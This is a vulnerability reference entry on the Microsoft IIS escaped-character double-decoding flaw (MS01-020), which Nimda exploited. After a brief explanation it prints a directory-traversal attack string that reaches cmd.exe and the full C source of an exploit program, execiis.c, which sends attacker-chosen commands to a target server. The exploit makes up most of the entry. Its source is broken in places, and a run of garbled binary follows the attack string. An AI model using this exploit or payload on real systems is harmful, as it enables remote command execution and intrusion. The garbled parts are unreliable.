MS IIS/PWS Escaped Characters Decoding Command Execution


IIS on Windows


CERT-Vuln: 111677
Microsoft: MS01-020
Bugtraq: 2708
CERT-Advisory: CA-2001-26
CVE: CAN-2001-0333


URL decoding error


Remote access




A URI (RFC 2396) has a limited set of allowed characters. Since this set is smaller than the set of allowable characters in filenames, the standard allows for encoding of special characters with &37; followed by the hex value of the character.

The flaw was that IIS decoded some of the input twice. IIS checks the path for security after the first decoding, but it is the second deconding that controls the file actually accessed.

NSFocus has a good description of the flaw. CERT claims they found the flaw.

Nimda had several other transmission methods not involving web servers.

Nimda had at least 18 variants it used.

Attack string

}GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0

�@����`ðÿ¿�@ðÿ¿hp@���Øz@����������ðÿ¿vÌ�@˜y@8{@ðÿ¿���������������ôû@v��Žÿwðÿ¿o@8ƒäðÿ¿Dðÿ¿@Ê�@��ø@����H›

Attack program source


 * execiis.c - (c)copyright Filip Maertens
 * BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error
 * DISCLAIMER:    This  is  proof of concept code.  This means, this code
 * may only be used on approved systems in order to test the availability
 * and integrity of machines  during a legal penetration test.  In no way
 * is the  author of  this exploit  responsible for the use and result of
 * this code.
 * In no way does the author of this proof of concept code claim credits
 * for the advisory being discussed.  This is simply an easy-to-use, out-
 * of-the-box, quick'n'dirty piece of code.  Use it, test it...

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>

/* Modify this value to whichever sequence you want.
 * %255c = %%35c = %%35%63 = %25%35%63 = /

#define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"

int main(int argc, char *argv[])

 struct sockaddr_in sin;
 char recvbuffer[1], stuff[200];
 int create_socket;

 printf("iisexec.c | Microsoft IIS CGI Filename Decode Error | <>\n-------------------------------------------------------------------------\n");

 if (argc < 3)
  printf(" -- Usage: iisexec [ip] [command]\n");

if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
 printf(" -- Socket created.\n");

 sin.sin_family = AF_INET;
 sin.sin_port = htons(8000);
 sin.sin_addr.s_addr = inet_addr(argv[1]);

if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
 printf(" -- Connection made.\n");
 { printf(" -- No connection.\n"); exit(1); }

 strcat(stuff, "GET ");
 strcat(stuff, SHOWSEQUENCE);
 strcat(stuff, argv[2]);
 strcat(stuff, " HTTP/1.0\n\n");

 memset(recvbuffer, '\0',sizeof(recvbuffer));

 send(create_socket, stuff, sizeof(stuff), 0);
 recv(create_socket, recvbuffer, sizeof (recvbuffer),0);

  if ( ( strstr(recvbuffer,"404") == NULL ) ) {
         while(recv(create_socket, recvbuffer, 1, 0) > 0)
                  printf("%c", recvbuffer[0]);
   } else {
     printf(" -- Wrong command processing. \n");



// EOF - More exploits @